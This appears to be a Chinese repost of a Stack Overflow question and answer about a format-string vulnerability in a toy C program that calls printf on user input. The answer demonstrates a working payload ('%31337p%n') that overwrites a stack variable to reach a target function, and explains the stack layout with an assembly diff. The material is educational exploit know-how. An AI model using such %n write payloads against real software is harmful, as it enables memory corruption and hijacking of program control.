c - printf中的格式化字符串攻击

标签 c security printf exploit format-string

#include <stdio.h>
int main()
{
    char s[200]
    int a=123;
    int b=&a;
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}

目的是执行格式字符串攻击——通过输入字符串来执行 func()。我尝试使用 %n 来覆盖变量,但我得出的结论是,如果不先显示 b 变量是不可能的,我也不知道如何。任何提示将不胜感激。抱歉我的英语不好。

最佳答案

让我们尝试打印和不打印:

$ cat > f.c << \EOF
#include <stdio.h>
void func() {
    fprintf(stderr, "func\n");
}

int main()
{
    char s[200];
    int a=123;
    int b=&a;
    #ifdef FIXER
    fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
    #endif
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}
EOF

$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686

$ gcc -S  f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER  f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]

$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work


$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func

$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault

如问题中所述,我们清楚地看到,如果不先打印 b,它就会失败。

让我们比较一下里面发生了什么:

$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s   2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
    .size   func, .-func
    .section    .rodata
 .LC1:
-   .string "%p\n"
-.LC2:
    .string "%50s"
    .text
    .globl  main
@@ -48,15 +46,9 @@
    movl    $123, 16(%esp)
    leal    16(%esp), %eax
    movl    %eax, 220(%esp)
-   movl    stderr, %eax
-   movl    220(%esp), %edx    /* !!! */
-   movl    %edx, 8(%esp)      /* !!! */
-   movl    $.LC1, 4(%esp)
-   movl    %eax, (%esp)
-   call    fprintf
    leal    20(%esp), %eax
    movl    %eax, 4(%esp)
-   movl    $.LC2, (%esp)
+   movl    $.LC1, (%esp)
    call    __isoc99_scanf
    leal    20(%esp), %eax
    movl    %eax, (%esp)

在标记的行上,我们看到“将 b 的值放入 %edx,然后将其作为堆栈中的第 3 个参数。”

由于 printf 和 scanf 使用 cdecl 调用约定,堆栈在调用之间或多或少保持相同,因此第三个参数仍然可用于易受攻击的 printf 进行设置。

当我们不打印 b 时,它不会进入堆栈以方便我们注入(inject)的格式字符串。

有了足够的 %p%p%p%p%p%p... 我们应该能够达到我们实际的 ab 无论如何,但是 50 个输入字符的限制妨碍了我们。

关于c - printf中的格式化字符串攻击,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/14505995/

相关文章:

c - 试图计算代码中的行数,但陷入 C 中的无限循环

Java 和 C++ 加密结果不匹配

security - Oauth2 客户端应用程序是否需要 SSL 连接?

security - 加盐和散列可以防止对单个帐户的攻击吗?

c - 如何覆盖文本文件?

c - 高效查找链表中是否存在元素

c - 如何更改C中字符数组的内容?

c - 在 C 语言中使用 MIPS 汇编

java - printf 如何用前导零做 float

将 ASCII 转换为十六进制,反之亦然 - 奇怪的问题